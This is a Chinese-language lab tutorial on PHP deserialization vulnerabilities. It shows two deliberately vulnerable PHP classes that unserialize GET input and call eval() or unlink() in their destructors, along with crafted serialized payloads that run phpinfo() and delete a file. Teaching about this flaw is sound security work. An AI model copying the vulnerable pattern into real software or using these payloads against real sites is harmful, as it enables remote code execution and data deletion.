php反序列化漏洞
程序员文章站
2022-03-10 19:01:20
...
实验环境:Apache、php5.4
实验原理:是由于程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通
实验步骤:
实验一:
php代码如下:
<?php
class Person{
var $name;
var $age;
var $sex;
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;
}
function __destruct()
{
eval($this->sex);
}
}
$str=$_GET['obj'];
$p1=unserialize("$str");
print_r($p1);
?>
在路径中输入参数值:?obj=O:6:"Person":3:{s:4:"name";s:3:"cxr";s:3:"age";i:25;s:3:"sex";s:10:"phpinfo();";},结果如下:
实验二:
利用unlink()函数,实现文件删除功能
php代码如下:
<?php
class Person{
var $name;
var $age;
var $sex;
var $tmp="1.tmp";
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;
}
function __destruct()
{
unlink(dirname(__FILE__)."/".$this->tmp);
}
}
$str=$_GET['obj'];
$p1=unserialize("$str");
print_r($p1);
?>
执行前,本目录下有以下文件:
在路径中输入参数值:?obj=O:6:"Person":4:{s:4:"name";s:3:"cxr";s:3:"age";i:25;s:3:"sex";s:4:"girl";s:3:"tmp";s:5:"2.tmp";},结果如下:
这时可以看到要删除得2.tmp文件已经成功删除
上一篇: 如何使用命令重置win7网络
下一篇: PHP反序列化漏洞